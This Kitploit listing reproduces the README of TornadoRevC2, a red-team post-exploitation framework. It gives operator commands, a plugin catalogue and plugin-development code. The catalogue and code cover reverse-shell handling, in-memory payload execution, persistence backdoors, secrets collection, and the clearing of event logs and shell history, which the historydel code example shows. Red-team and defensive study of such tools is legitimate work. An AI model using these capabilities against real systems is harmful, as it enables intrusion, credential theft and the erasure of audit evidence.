Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
TornadoRevC2 — Modular post-exploitation framework managing reverse-shell sessions over TCP/TLS/mTLS with plugins for enumeration, in-memory execution, SOCKS5 pivoting, and persistence. | Kitploit
Tools/GitHubGitHub/kamalx06/tornadorevc2
Penetration Testing FrameworksPrivilege EscalationPersistence MechanismsLateral MovementScripting & AutomationInformation GatheringPost-ExploitationCommand and ControlRed TeamingRemote Access ToolPayload Development
247120h 19m agoReviewed by Kitploit
GitHub
kamalx06/tornadorevc2

TornadoRevC2

Modular post-exploitation framework managing reverse-shell sessions over TCP/TLS/mTLS with plugins for enumeration, in-memory execution, SOCKS5 pivoting, and persistence.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

TornadoRevC2

A lightweight, modular post-exploitation framework for authorized security research, red-team operations, and penetration testing. TornadoRevC2 manages reverse shell sessions on Linux and Windows hosts through a unified operator console, extending core session handling with a cross-platform plugin architecture for host enumeration, situational awareness, and operational tasks.

Important: TornadoRevC2 is a session handler and post-exploitation framework—not a beacon-style command-and-control platform. It prioritizes reliable interactive shells, structured operator workflows, and on-demand plugin execution over persistent agent infrastructure.


Legal Notice

Use this software only on systems you own or on systems where you have explicit written authorization. You are solely responsible for compliance with applicable laws and organizational policies. The authors and contributors accept no liability for misuse, data loss, or legal consequences arising from the use of this project.


Demo

TornadoRevC2 Demo

Quick demo: session management, plugin execution, SOCKS5 pivoting.


Table of Contents

  • Introduction
  • Key Features
  • Design Philosophy
  • Architecture
  • Requirements & Installation
  • Quick Start
  • Operator Reference
  • Built-in Plugins
  • Plugin Development
    • Plugin system overview
    • Plugin placement
    • Registration
    • Execution lifecycle
    • Pattern 1: Simple shell plugin
    • Pattern 2: Structured collector
    • Pattern 3: Custom handler
    • Linux collectors
    • Windows collectors
    • JSON payload conventions
    • Custom formatters
    • Platform-specific plugins
    • External plugins
    • SessionContext API
    • Error handling & return codes
    • Best practices
    • Reference implementations
  • Session Logging
  • Project Structure
  • TLS & mTLS Configuration
  • License

  • Introduction

    TornadoRevC2 is a modular reverse shell management framework that accepts inbound connections over plain TCP, server-authenticated TLS, and mutual TLS (mTLS) with client-certificate verification, providing a unified operator console for session management, host reconnaissance, chunked file transfer, in-memory payload execution, SOCKS5 pivoting, plugin-driven post-exploitation, structured reporting, and a built-in update command for automatic Git-based updates and seamless handler restarts. Originally developed as a lightweight reverse shell handler, the project has evolved into an extensible framework in which capabilities such as firewall enumeration, credential store metadata collection, network mapping, browser profiling, and additional post-exploitation functionality are implemented as independent, modular plugins. The framework also includes the make_token plugin for establishing new C2 sessions via remote protocols (SSH, WinRM, SMB, RDP, WMI, MSSQL) using command-line tools from the operator side, with support for custom ports, NTLM hash authentication, and netexec integration, and an upgrade_mtls plugin that migrates a live session onto the mutual-TLS listener by pushing the handler's client certificate bundle to the target.

    Supported target platforms: Linux and Windows (primary), with compatibility for generic Unix and BSD environments where applicable.


    Key Features

    CategoryCapabilities
    Session handlingMulti-client TCP / TLS / mTLS listeners with automatic PKI bootstrapping · On-demand mTLS upgrade for live sessions · Interactive PTY/TTY shells · Session fingerprinting and reconnect tracking
    File transferChunked upload and download · SHA-256 integrity verification
    Payload executionIn-memory execution for py, ps, exe, elf, bat, and sh
    Pivoting & tunnelingSOCKS5 proxy through compromised sessions with automatic remote cleanup · Ligolo-NG and Chisel agent deployment with background persistence
    Remote session establishmentmake_token — establish new sessions over SSH, WinRM, SMB, RDP, WMI, and MSSQL from the operator side, with NTLM hash auth and netexec integration
    Impersonationrunas — execute commands or spawn a TLS-encrypted shell as another user, local or remote, with domain support and netexec integration
    EnumerationCovering host triage, network posture, credentials and browser metadata, Kerberos tickets, Linux internals, and Windows domain and system configuration
    Operational pluginsMulti-pass secure file wiping · Hybrid file encryption · Shell history clearing · Windows event log clearing
    PersistenceCross-platform backdoor installation using TLS-encrypted payloads — cron @reboot on Linux/Unix, Run registry on Windows
    ExtensibilityRuntime plugin load, reload, and unload · External plugins via TORNADOREVC2_PLUGIN_DIR · Documented SessionContext API
    ReportingPer-session logging · Structured plugin output · HTML transcript export
    Self-updateGit-based update command with repository verification, fast-forward pull, and automatic handler restart · Fork-friendly, with divergence detection and a safe reset prompt

    Not supported: Task scheduling, or beacon-style callback infrastructure.


    Design Philosophy

    TornadoRevC2 is engineered for environments where deployment friction and operational footprint matter.

    Dependency-light, native-command design

    Plugins leverage native Windows and Linux utilities and built-in system commands already present on the target host—netsh, ss, iptables, ufw, firewall-cmd, nft, PowerShell cmdlets, nmcli, wevtutil, and others. Collectors invoke these tools through the reverse shell channel and parse output remotely, minimizing the need to upload additional binaries or install dependencies.

    No target-side artifact drops

    Plugin operations execute through the existing reverse shell channel and do not require dropping binaries, executables, scripts, or temporary files onto the target system. Enumeration tasks run as native commands or in-process collector scripts; results return as marked JSON over the shell. The only unavoidable artifact is normal command history generated by the shell itself.

    Graceful degradation

    When an enumeration routine fails, is unavailable, or times out, the plugin does not abort entirely. The affected section is left empty or marked N/A while the remainder of the report continues.

    Operator-side maintenance

    Handler updates are delivered through Git on the operator machine. The update command uses bounded subprocess timeouts, non-interactive Git settings, and a fast local shutdown path so the handler can restart reliably without blocking on remote session cleanup.


    Architecture

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────────┐
    │                     Operator Console (handler)                  │
    │  Sessions · Transfers · SOCKS · Plugins · Logging · Export ·    │
    │  update                                                         │
    └────────────────────────────┬────────────────────────────────────┘
                                 │ reverse shell channel (TCP / TLS / mTLS)
                                 ▼
    ┌─────────────────────────────────────────────────────────────────┐
    │                        Target Host                              │
    │  Native commands · PowerShell · inline collectors               │
    │  __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__                   │
    └─────────────────────────────────────────────────────────────────┘
    

    Listener Configuration

    TornadoRevC2 runs three independent listeners simultaneously, so implants can connect over plaintext, server-authenticated TLS, or mutually authenticated TLS depending on the engagement's threat model:

    ListenerDefault portFlagAuthenticationCertificates
    TCP4444-pNoneNone
    TLS8443-tpServer-authenticatedtls_certs/server.pem, tls_certs/server.key
    mTLS9443-mpMutual (client cert required)mtls_certs/ bundle (CA + server + client)

    The -H flag sets the bind address shared by all three listeners. All three can be enabled at once; disabling one is not currently required — leave the port free or unbound to ignore it.

    Automatic certificate generation. On first launch the handler creates two isolated directories and bootstraps the material it needs:

    root@kitploit:~
    tls_certs/
      server.pem          # self-signed server certificate
      server.key          # server private key
    
    mtls_certs/
      ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
      ca.key              # CA private key
      ca.srl              # OpenSSL serial counter (auto-generated)
      server-mtls.pem     # server cert signed by CA
      server-mtls.key     # server private key
      client.pem          # client cert signed by CA — ship to implant
      client.key          # client private key  — ship to implant
    

    Plugin Layout

    root@kitploit:~
    tornadorevc2/plugins/
      shared/     Cross-platform plugins with internal Windows/Linux implementations
      linux/      Linux/Unix-only plugins and collector builders
      windows/    Windows-only plugins (rdp, services, eventlogdel, …)
      api.py      SessionContext and @plugin.command registration
      manager.py  Runtime loading, execution, and platform filtering
      loader.py   Automatic module discovery
    

    Shared plugins (firewall, ports, browser, credstore, and others) exist as single unified modules in shared/. Platform-specific plugins such as rdp and eventlogdel reside exclusively under windows/ or linux/ and are not duplicated in shared/.

    Collectors emit JSON wrapped in marker tokens (__T_PLUGIN_START__ / __T_PLUGIN_END__). The shared runner parses this output, formats an operator-facing report, and persists results under the session log directory.


    Requirements & Installation

    Handler (operator machine):

    • Python 3.7 or later
    • OpenSSL (for automatic TLS and mTLS certificate generation)
    • Git (optional; required for the update operator command)
    • No third-party Python packages required
    root@kitploit:~
    git clone https://github.com/kamalx06/TornadoRevC2.git
    cd TornadoRevC2
    python3 tornadorevc2.py
    

    Quick Start

    1. Start the handler

    root@kitploit:~
    # Default: TCP on 4444, TLS on 8443, mTLS on 9443
    python tornadorevc2.py
    
    # Custom bind address and ports for all three listeners
    python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
    
    # Point to your own certificate material
    python tornadorevc2.py \
      -c tls_certs/server.pem -k tls_certs/server.key \
      --mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key \
      --mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key \
      --mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
    

    2. Establish a session

    Deploy a reverse shell from the built-in catalog (payloads) or use your own implant. On connect, TornadoRevC2 assigns a session ID and begins logging under logs/.

    3. Operate

    root@kitploit:~
    status                          # List active sessions
    switch 1                        # Attach to session 1
    sysinfo 1                       # Collect host metadata
    run credstore 1                 # Credential store metadata
    run memorymap 1 1234            # Process memory maps (requires PID)
    run inmemory 1 sh ./linpeas.sh  # In-memory script execution
    update                          # Pull latest from GitHub and restart (Git installs)
    

    When attached via switch <ID>, omit the session ID from subsequent commands (run quickenum instead of run quickenum 1). Plugin listings and TAB completion inside a client session are filtered to plugins compatible with that session's platform.

    The update command is available from the main handler prompt only. It verifies that Git is installed, confirms the installation is a Git working tree, fetches from the configured remote, fast-forward pulls when updates exist, and restarts the handler with the same executable and arguments. If the installation is already current, it prints TornadoRevC2 is already running the latest version. and leaves the server running.


    Operator Reference

    Session management

    CommandDescription
    status / lsList active reverse shell sessions
    sessionsShow tracked sessions, including disconnected hosts
    reconnectsDisplay session reconnect history
    switch <ID>Attach to an interactive session shell
    kill <ID>Terminate a session
    rename <ID> <name> / rn <ID> <name>Assign a friendly name
    sysinfo <ID> [--stealth|--full]Collect or refresh host information
    export <ID>Export an HTML session transcript

    Plugins

    CommandDescription
    plugins / plugins listList registered plugins
    plugins list --verboseShow module paths and load state
    plugins load <name>Load an external plugin at runtime
    plugins unload <name>Disable or unload a plugin
    plugins reload <name>Reload a plugin module
    plugins info <name>Display plugin metadata
    run <plugin> <ID> [args...]Execute a plugin against a session

    File transfer

    CommandDescription
    upload [--resume] <ID> <local> <remote>Upload with chunked transfer
    download [--resume] <ID> <remote> <local>Download with chunked transfer
    verify <ID> <remote> / hash <ID> <remote>Verify remote file size and SHA-256

    In-memory execution

    CommandDescription
    run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>]Execute payload in memory

    Supported types: py, ps, exe, elf, bat, sh

    Network pivoting

    CommandIn-session formDescription
    socks <ID> <listen_port>socks <listen_port>Start a SOCKS5 proxy through a session (local listener on 127.0.0.1:<listen_port>)
    socks <ID> test <host> <port>socks test <host> <port>Test TCP reachability to an internal host through the tunnel agent
    socks <ID> resetsocks resetReset tunnel agent streams and discard buffered data (does not stop active SOCKS listeners)
    socks stop <proxy_id>socks stop <proxy_id>Stop a SOCKS proxy and clean up remote tunnel artifacts when no other proxy uses the session
    tunnelstunnelsList active SOCKS proxies, channel count, and status

    General

    CommandDescription
    payloadsDisplay the built-in payload reference
    updateCheck for updates from the official GitHub repository and restart after a successful fast-forward pull (requires Git; main menu only)
    helpShow the command reference
    exit / quitShut down the handler

    Built-in Plugins

    TornadoRevC2 ships with 51 built-in plugins organized by function. All enumeration related plugins are read-only unless noted otherwise.

    Host assessment & environment

    PluginPlatformDescription
    quickenumCross-platformFast structured host triage: identity, network, environment, prioritized findings
    virtualizationCross-platformVirtualization, container, orchestration, and cloud environment detection
    kernelCross-platformKernel version, loaded modules/drivers, security mitigations, and kernel configuration
    integrityCross-platformSecure Boot, BitLocker/LUKS, code-signing enforcement, kernel lockdown, and integrity protections
    filesearchCross-platformSearch files by path, name, ext, size, owner, mtime (run filesearch help for options)
    packagesCross-platformInstalled software, package managers, repository configuration, and recent installs
    sysinfoCross-platformHost metadata collection (handler command, not a plugin)
    kerberosenumCross-platformKerberos ticket metadata: caches, default principal, realm, TGT, service tickets, encryption types, flags (renewable/forwardable), keytab files, krb5.conf/registry config, and environment variables (no secrets)

    Network & connectivity

    PluginPlatformDescription
    firewallCross-platformFirewall status, profiles/zones, policies, and notable rules (WDF, UFW, firewalld, nftables, iptables)
    portsCross-platformListening ports, established connections, owning processes, and routing
    proxyCross-platformSystem, environment, PAC/WPAD, and browser proxy settings
    vpnCross-platformVPN clients, active connections, adapters, and configuration metadata

    Credentials, browsers & applications

    PluginPlatformDescription
    credstoreCross-platformCredential store metadata (no secret extraction): Credential Manager, keyrings, browser stores
    browserCross-platformInstalled browsers, profiles, extensions, bookmarks, and enterprise policies
    clipboardCross-platformRemote clipboard text capture
    secretsLinux/UnixConfiguration files, environment variables, SSH keys, and cloud credentials

    Host internals

    PluginPlatformDescription
    historyCross-platformShell history, package/update logs, and recent login activity
    mountsCross-platformMount points, SMB/NFS shares, mapped drives, container filesystems
    memorymapCross-platformProcess memory maps and loaded modules for a specified PID
    screenshotCross-platformDesktop capture returned to the operator (GUI sessions; PNG saved locally)
    cronLinux/UnixCron jobs, system crontabs, user crontabs, and at queues
    systemdLinux/UnixServices, timers, failed units, and enabled startup units
    privbinsLinux/UnixSUID/SGID binaries, file capabilities, and privilege-escalation-relevant executables
    lsmLinux/UnixSELinux, AppArmor, and other Linux Security Modules: enforcement mode, policies, and configuration
    journalLinux/UnixStructured journalctl summaries: authentication, kernel, service failures, and recent events
    sshauditLinux/UnixSSH server enumeration: effective sshd config, auth surface, pivoting options, host keys, authorized_keys, and CA trust
    containersLinux/UnixContainer runtimes and workloads: Docker, Podman, containerd, CRI-O, LXC/LXD, and Kubernetes indicators
    usersessionsCross-platformActive local, remote, SSH, RDP, console, and service sessions with login/source metadata

    Windows domain & system

    PluginPlatformDescription
    adinfoWindowsDomain membership, domain controllers, forests, trusts, and OUs
    servicesWindowsWindows services, startup types, binaries, and service accounts
    scheduledtasksWindowsScheduled tasks, triggers, execution context, and actions
    registryWindowsAutorun keys, startup locations, and installed software
    eventlogsWindowsSecurity, System, Application, and PowerShell log summaries
    defenderWindowsMicrosoft Defender status, exclusions, ASR rules, and third-party AV
    certificatesWindowsCertificate stores, code-signing, and enterprise certificates
    rdpWindowsRemote Desktop configuration, status, recent targets, and settings
    gpoWindowsApplied GPOs, local/domain security policies, AppLocker, WDAC, SRP, and GPO scripts
    winrmWindowsWinRM configuration, listeners, authentication methods, firewall integration, and remoting status
    driversWindowsInstalled drivers and kernel modules, signed/unsigned status, startup type, and notable security/VM drivers
    powershellWindowsPowerShell version, execution policy, logging, modules, remoting settings, and profile paths
    lsaWindowsLSA protection, Credential Guard, virtualization-based security, and credential security configuration

    Execution & operational

    PluginPlatformDescription
    inmemoryCross-platformIn-memory payload execution (py, ps, exe, elf, bat, sh)
    make_tokenCross-platformEstablish C2 sessions via remote protocols (SSH, WinRM, SMB, RDP, WMI, MSSQL) using CLI tools from operator side with support for custom ports, NTLM hashes, and netexec integration
    nullcryptCross-platformHybrid encrypt a file (AES-GCM + RSA-wrapped key) then securely wipe the original via wiper
    wiperCross-platformConfigurable multi-pass secure overwrite (rename, truncate, delete); profiles: quick, standard, dod, thorough, shred
    historydelCross-platformClear current user shell history files and related storage
    eventlogdelWindowsClear Windows Event Logs via native wevtutil / Clear-EventLog
    runasWindowsExecute commands or spawn a TLS‑encrypted reverse shell as another user (local/remote) with credential management, domain support, and netexec integration
    ligolongCross‑platformDeploy Ligolo‑NG tunneling agent to Linux/Windows targets with background persistence
    chiselCross‑platformDeploy Chisel tunneling agent in reverse (client) or bind (server) mode; supports SOCKS5 and background persistence
    persistenceCross‑platformInstall a persistent reverse shell backdoor (cron @reboot / Run registry) using TLS‑encrypted payload
    upgrade_mtlsCross‑platformPush the handler's mTLS client bundle to a session and relaunch it over the mTLS listener (opt-in; does not affect other listeners)

    In-memory execution methods:

    TypeMethod
    pyPython via exec(compile(...))
    psPowerShell via Invoke-Expression
    exeWindows PE via in-memory RunPE (process hollowing)
    elfLinux ELF via memfd_create with /dev/shm fallback
    shShell script streamed via bash -s
    batBatch script streamed via cmd.exe /Q stdin

    PEASS-ng scripts for in-memory privesccheck: github.com/carlospolop/PEASS-ng


    Plugin Development

    This section describes how to extend TornadoRevC2 with custom plugins. Plugins are plain Python modules that register commands with @plugin.command and receive a SessionContext for the target session. No changes to core handler code are required.

    Plugin system overview

    The plugin system has four layers:

    LayerModuleResponsibility
    Registrationplugins/api.py@plugin.command decorator, global command registry, SessionContext
    Discoveryplugins/loader.pyScans shared/, linux/, windows/, and external directories; imports modules
    Executionplugins/manager.pyResolves platform, builds context, invokes handler, handles errors
    Collectorsplugins/shared/runner.pyMarker parsing, JSON extraction, report formatting, logging

    At import time, the @plugin.command decorator registers each handler in a thread-safe global registry. At runtime, PluginManager.run_plugin() validates platform compatibility, constructs a SessionContext, and calls the handler with (session, args).

    Handlers return an integer exit code: 0 for success, non-zero for failure. The handler console displays warnings for non-zero returns.

    Plugin placement

    Choose a location based on platform scope and whether the plugin ships with the project:

    LocationScopeLoaded
    tornadorevc2/plugins/shared/Cross-platform (internal Windows + Linux implementations)Automatically at startup
    tornadorevc2/plugins/linux/Linux/Unix onlyAutomatically at startup
    tornadorevc2/plugins/windows/Windows onlyAutomatically at startup
    ./plugins/myplugin.pyExternal (any scope you define)On demand via plugins load
    ./plugins/myplugin/__init__.pyExternal packageOn demand via plugins load
    Path in TORNADOREVC2_PLUGIN_DIRExternal (custom directory)On demand via plugins load

    Layout rules:

    • Files named common.py, runner.py, and __init__.py under shared/ are skipped during discovery.
    • Files starting with _ under linux/ or windows/ are helper modules, not plugins.
    • Shared plugins must be a single module in shared/ with internal platform branching—do not duplicate cross-platform plugins in both shared/ and linux//windows/.
    • Platform-specific plugins (e.g. rdp, eventlogdel) belong exclusively in windows/ or linux/.

    Registration

    Register a command with the @plugin.command decorator:

    root@kitploit:~
    from tornadorevc2.plugins import plugin, SessionContext
    
    @plugin.command(
        name="myplugin",                          # Command name used with `run myplugin <ID>`
        platforms=["linux", "windows", "unix"],   # Supported session platforms
        description="Short description for plugins list and TAB completion",
    )
    def run(session: SessionContext, args):
        ...
        return 0  # 0 = success, non-zero = failure
    

    Platform values: linux, windows, unix. Linux and unix are treated as compatible— a plugin registered for linux runs on both. Default if omitted: ["linux", "windows", "unix"].

    Multiple commands per module: A single file may register several commands by applying @plugin.command to multiple functions. Each gets an independent name.

    Execution lifecycle

    When an operator runs run myplugin 1 arg1 arg2:

    root@kitploit:~
    1. PluginManager resolves session #1 and looks up "myplugin" in the registry
    2. Platform check: plugin.platforms vs session shell type (unix/windows)
    3. SessionContext(handler, client_socket) is constructed
    4. Handler invoked: run(ctx, ["arg1", "arg2"])
    5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
    6. Output printed to operator console; results logged under logs/<session>/plugins/
    7. Exit code returned (0 = success)
    

    Inside an attached session (switch <ID>), the session ID is omitted and args start immediately after the plugin name: run myplugin arg1 arg2.

    Pattern 1: Simple shell plugin

    Use when you need a quick one-off command without structured JSON parsing. The handler runs a native shell command, prints output, and logs the result.

    root@kitploit:~
    from tornadorevc2.plugins import plugin, SessionContext
    
    @plugin.command(
        name="whoami",
        platforms=["linux", "windows", "unix"],
        description="Print remote user identity",
    )
    def run(session: SessionContext, args):
        session.log_event("Plugin whoami: started")
    
        if session.is_windows:
            cmd = "whoami /all"
        else:
            cmd = "id 2>/dev/null || whoami"
    
        output = session.run_shell(cmd, timeout=10.0)
        if not output.strip():
            session.print("Plugin 'whoami' failed — no output from target.", "red")
            session.log_plugin_result("whoami", "", "no output")
            return 1
    
        report = output.strip()
        session.print(report, "cyan")
        session.log_plugin_result("whoami", report)
        session.log_command("run whoami", report)
        return 0
    

    When to use: Simple probes, one-liner enumeration, commands that do not need structured reports.

    Key methods: session.run_shell(cmd, timeout), session.print(text, color), session.log_plugin_result(name, report, detail='').

    Pattern 2: Structured collector (recommended)

    Use for enumeration plugins that gather structured data on the target and return a formatted report. This is the pattern used by all built-in reconnaissance plugins (firewall, ports, browser, etc.).

    Flow:

    root@kitploit:~
    Handler                              Target host
      │                                       │
      ├─ session.log_event("started")         │
      ├─ flush shell buffer                   │
      ├─ resolve platform (unix/windows)      │
      ├─ build collector command/script ─────►│  Linux: inline Python or native shell
      │                                       │  Windows: PowerShell script in-process
      │                                       ├─ invoke native OS commands
      │                                       ├─ assemble result dict
      │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
      │◄──────────────────────────────────────┤
      ├─ parse_collector_json(raw)            │
      ├─ formatter(data) → report string      │
      ├─ session.print(report)                │
      └─ session.log_plugin_result(...)       │
    

    Minimal cross-platform example:

    root@kitploit:~
    from tornadorevc2.plugins import plugin, SessionContext
    from tornadorevc2.plugins.linux._helpers import build_linux_collector_command
    from tornadorevc2.plugins.shared.common import format_generic_report
    from tornadorevc2.plugins.shared.runner import run_collector_plugin
    from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
    
    
    def _linux_collector_source():
        # Runs inside a try/except wrapper on the target.
        # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself.
        return r'''
    import subprocess
    result = {'summary': {}, 'processes': []}
    try:
        out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10)
        lines = out.decode('utf-8', errors='replace').splitlines()
        result['summary'] = {'count': max(0, len(lines) - 1)}
        result['processes'] = lines[1:51]
    except Exception as exc:
        result['summary'] = {'error': str(exc)}
    _emit(result)
    '''
    
    
    def _build_linux_command():
        return build_linux_collector_command(_linux_collector_source())
    
    
    def _build_windows_command():
        return rf"""
    $ErrorActionPreference='SilentlyContinue'
    $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
    $procs = Get-CimInstance Win32_Process -EA 0 |
      Select-Object -First 50 ProcessId, Name, CommandLine
    $result = [ordered]@{{
      summary = @{{ count = @($procs).Count }}
      processes = @($procs)
    }}
    Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end)
    """
    
    
    @plugin.command(
        name="processes",
        platforms=["linux", "windows", "unix"],
        description="List running processes on the remote host",
    )
    def run(session: SessionContext, args):
        return run_collector_plugin(
            session,
            "processes",
            _build_linux_command,       # callable — built at execution time
            _build_windows_command,     # callable — built at execution time
            format_generic_report,      # turns parsed dict into operator-facing text
            timeout=25.0,               # seconds to wait for marked output
        )
    

    run_collector_plugin parameters:

    ParameterTypeDescription
    sessionSessionContextTarget session
    plugin_namestrName used in logs and error messages
    unix_builderCallable[[], str] or NoneReturns the Unix/Linux shell command; None if unavailable
    win_builderCallable[[], str] or NoneReturns the PowerShell script; None if unavailable
    formatterCallable[[dict], str]Converts parsed JSON dict to a report string
    timeoutfloatMaximum seconds to wait for marked output (default 30)

    Pass None for a platform builder to mark the plugin unavailable on that OS (see Platform-specific plugins).

    After saving an external plugin:

    root@kitploit:~
    plugins load processes
    plugins info processes
    run processes 1
    

    Pattern 3: Custom handler

    Use when you need argument validation, dynamic collector construction, post-collector processing, or operator-side file handling that run_collector_plugin does not cover alone.

    Examples in the codebase:

    PluginCustom behavior
    memorymapRequires PID argument; builds collector dynamically with embedded PID
    wiperRequires remote path; destructive action with confirmation output
    screenshotDecodes base64 image and saves PNG locally on the operator machine
    historydelRuns collector, then sends follow-up shell command for in-memory history cleanup
    clipboardCustom soft-failure handling via reason field instead of hard error

    Argument validation example (from memorymap):

    root@kitploit:~
    import re
    from tornadorevc2.plugins import plugin, SessionContext
    from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
    
    @plugin.command(
        name="memorymap",
        platforms=["linux", "windows", "unix"],
        description="Enumerate memory maps for a process (requires PID)",
    )
    def run(session: SessionContext, args):
        if not args or not re.match(r"^\d+$", args[0].strip()):
            session.print("Usage: run memorymap <ID> <pid>", "yellow")
            return 1
    
        pid = args[0].strip()
        session.log_event(f"Plugin memorymap: started for PID {pid}")
        session._handler._flush_shell(session._client_sock, timeout=1.0)
    
        unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
        win_ps = _build_windows_command(pid)
    
        raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
        if raw is None:
            session.print("Plugin 'memorymap' failed — no response from target.", "red")
            return 1
    
        data = parse_collector_json(raw)
        report = format_memorymap_report(data)
        session.print(report, "cyan")
        session.log_plugin_result("memorymap", report, ...)
        return 0
    

    Post-collector processing example (from historydel):

    root@kitploit:~
    def run(session: SessionContext, args):
        # ... run collector via _run_collector_marked ...
        data = parse_collector_json(raw)
    
        # Additional in-memory cleanup in the interactive shell
        if session.is_unix:
            session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
        elif session.is_windows:
            session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
    
        report = format_historydel_report(data)
        session.print(report, "green" if data.get("cleared") else "yellow")
        return 0
    

    For direct access to marked execution without the full collector wrapper, use _run_collector_marked and parse_collector_json from plugins/shared/runner.py.

    Linux collectors

    Linux collectors are Python source strings executed on the target via build_linux_collector_command().

    Structure:

    1. Define _linux_collector_source() returning a raw string (r'''...''').
    2. Write collector logic that builds a result dict.
    3. Call _emit(result) at the end — never print markers manually.
    4. Wrap with _build_linux_command() → build_linux_collector_command(source).

    The wrapper in linux/_helpers.py automatically:

    • Indents your source inside a try/except block
    • Defines _emit(obj) to write __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
    • Emits {"error": "...", "traceback": "..."} on unhandled exceptions
    • Encodes the script for inline execution via python3 -c (or python2 fallback)
    • Falls back to chunked /tmp staging only when the encoded payload exceeds ~4000 bytes

    Prefer native commands:

    root@kitploit:~
    def sh(cmd, timeout=5):
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout)
            return out.decode("utf-8", "ignore")
        except Exception:
            return ""
    
    result = {"summary": {}, "ports": []}
    output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10)
    for line in output.splitlines()[:60]:
        result["ports"].append(line.strip())
    _emit(result)
    

    Guidelines:

    • Use subprocess.check_output(..., timeout=N) for every external command.
    • Trim large lists before emitting (cap at 50–80 entries).
    • Handle missing tools gracefully—leave sections empty rather than raising.
    • Avoid embedding marker strings in output; the history plugin scrubs __T_PLUGIN_*__ from collected text for this reason.
    • Keep collectors compact to stay under the inline size limit and avoid /tmp staging.

    Windows collectors

    Windows collectors are PowerShell script strings returned from _build_windows_command().

    Structure:

    root@kitploit:~
    from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
    
    def _build_windows_command():
        return rf"""
    $ErrorActionPreference='SilentlyContinue'
    $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
    $result = [ordered]@{{
      summary = @{{ count = 0 }}
      items = @()
    }}
    try {{
      Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
        $result.items += @{{ name = $_.Name; state = $_.State }}
      }}
      $result.summary.count = $result.items.Count
    }} catch {{
      $result.summary.error = $_.Exception.Message
    }}
    Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
    """
    

    Guidelines:

    • Always set $ErrorActionPreference='SilentlyContinue' at the top.
    • Use -EA 0 (ErrorAction SilentlyContinue) on cmdlets that may fail on older systems.
    • Brace-doubling is required inside Python f-strings and raw f-strings: {{ and }} for PowerShell hashtables and script blocks.
    • Use [ordered]@{{...}} to preserve key order in JSON output.
    • Prefer built-in cmdlets (Get-NetTCPConnection, Get-Process, netsh, wevtutil) over external tools.
    • Wrap each logical section in its own try/catch so one failure does not abort the entire collector.
    • On interactive PowerShell sessions, scripts are delivered in-process via win_client.py for reliable output capture.

    Alternative: For Windows-only plugins with minimal entry points, use a single build_command() function:

    root@kitploit:~
    # tornadorevc2/plugins/windows/services.py
    @plugin.command(name="services", platforms=["windows"], description="...")
    def run(session: SessionContext, args):
        return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
    

    JSON payload conventions

    Collectors should return a JSON-serializable dict. The runner and formatters expect consistent key usage:

    KeyTypePurpose
    summarydictHigh-level counts and stats; rendered first by format_generic_report()
    errorstrHard failure — runner prints error and returns exit code 1
    tracebackstrOptional; logged as detail when error is set
    reasonstrSoft failure — use with custom formatters (e.g. clipboard unavailable)
    okboolSuccess flag for operational plugins (screenshot, clipboard)
    Lists of dictlistRendered as tables by format_generic_report()
    Lists of strlistRendered as bullet lists
    Nested dictdictRendered as labeled sections

    Graceful degradation: For multi-section enumeration, use separate dict keys per section and catch exceptions locally. Do not set top-level error unless the entire collector failed—partial results are preferable.

    root@kitploit:~
    result = {"summary": {}, "ufw": {}, "iptables": {}}
    # Each backend probed independently; failures leave that section empty
    

    Custom formatters

    Pass a custom formatter to run_collector_plugin instead of format_generic_report:

    root@kitploit:~
    from tornadorevc2.plugins.shared.common import format_section, format_list_section
    
    def format_firewall_report(data: dict) -> str:
        sections = []
        summary = data.get("summary") or {}
        if summary:
            sections.append(format_section("Summary", summary))
        for key in ("ufw", "iptables", "windows_defender_firewall"):
            block = data.get(key)
            if isinstance(block, dict) and block:
                sections.append(format_section(key.replace("_", " ").title(), block))
        if not sections:
            return "Firewall: no data collected."
        return "\n\n".join(sections)
    

    Reusable helpers in plugins/shared/common.py:

    FunctionPurpose
    format_generic_report(data, title='Results')Default table/section renderer
    format_section(title, fields, width=22)Key-value section
    format_list_section(title, items, empty='(none)')Bulleted list
    format_table_section(title, rows, columns)Dict rows as columns
    format_firewall_report, format_memorymap_report, etc.Plugin-specific formatters

    Platform-specific plugins

    Windows-only:

    root@kitploit:~
    @plugin.command(name="rdp", platforms=["windows"], description="...")
